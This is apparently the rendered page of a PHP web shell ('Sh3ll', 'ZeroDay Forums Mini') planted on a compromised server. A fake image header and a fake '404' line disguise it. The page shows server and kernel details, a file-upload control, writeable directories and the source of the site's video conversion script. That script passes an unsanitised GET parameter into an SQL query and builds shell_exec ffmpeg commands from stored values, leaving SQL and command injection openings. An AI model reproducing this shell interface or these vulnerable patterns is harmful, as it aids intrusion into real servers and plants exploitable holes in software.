ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/video/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/video/video_fast_convert.php
<?php
require 'vendor/autoload.php';
require "configs.php";
require "lib/class_db.php";
require "includes/functions.php";
$DB = new db_driver;
$DB->connect($INFO);
$id = $_GET['id']??0;
$root_path = $INFO['root_path'];
$month_now = date("Y").'/'.date("m").'/'.date("d");
if(!is_dir("anime/".$month_now."/")) {
    mkdir("anime/".$month_now."/",0755,true);
}
$arr_res = array();
$r_video = $DB->fetch_row($DB->query("SELECT * FROM `tb_video` WHERE video_id='$id'"));
$video_id = $r_video['video_id'];
$tmp_name = str_replace(".mp4","",$r_video['video_tmp']);
$videp_tmp = $root_path.'/'.$r_video['video_tmp'];
$videp_tmp_new = $root_path.'/'.$tmp_name.'_new.mp4';
$id = $video_id;
/*echo 'ffmpeg -i '.$videp_tmp.' -codec: copy -bsf:v h264_mp4toannexb -start_number 0 -hls_time 10 -hls_list_size 0 -f hls '.$root_path.'/anime/'.$month_now.'/playlist_'.$id.'.m3u8';
exit();*/
/*if( ($fp = popen('ffmpeg -y -i '.$videp_tmp.' '.$videp_tmp_new, "r")) ) {
    while( !feof($fp) ){
        echo fread($fp, 1024);
        flush(); // you have to flush buffer
    }
    fclose($fp);
}*/
/*$output1 = shell_exec('ffmpeg -y -i '.$videp_tmp.' '.$videp_tmp_new);*/
/*if( ($fp = popen('ffmpeg -y -i '.$videp_tmp_new.' -codec: copy -bsf:v h264_mp4toannexb -start_number 0 -hls_time 10 -hls_list_size 0 -f hls '.$root_path.'/anime/'.$month_now.'/playlist_'.$id.'.m3u8', "r")) ) {
    while( !feof($fp) ){
        echo fread($fp, 1024);
        flush(); // you have to flush buffer
    }
    fclose($fp);
}*/
$output2 = shell_exec('ffmpeg -y -i '.$videp_tmp.' -codec: copy -bsf:v h264_mp4toannexb -start_number 0 -hls_time 10 -hls_list_size 0 -f hls '.$root_path.'/anime/'.$month_now.'/playlist_'.$id.'.m3u8');
/*$out1 = shell_exec('ffmpeg -y -i '.$videp_tmp.' '.$videp_tmp_new);
$out3 = shell_exec('ffmpeg -y -i '.$videp_tmp_new.' -codec: copy -bsf:v h264_mp4toannexb -start_number 0 -hls_time 10 -hls_list_size 0 -f hls '.$root_path.'/anime/'.$month_now.'/playlist_'.$id.'.m3u8');*/

if(file_exists($root_path.'/anime/'.$month_now.'/playlist_'.$id.'.m3u8')){
    $video_link = '/embed/'.$month_now.'/playlist_'.$id.'.m3u8';
    $arr_update = array('video_link'=>$video_link,'video_done'=>'yes');
    $DB->do_update('tb_video',$arr_update," WHERE video_id='$video_id' ");
    unlink($r_video['video_tmp']);
    //unlink($tmp_name.'_new.mp4');
    $arr_res[] = array('video_id'=>$video_id);
}
$DB->free_result();
$DB->close_db();
close_popup('Done!');
exit();
?>

ZeroDay Forums Mini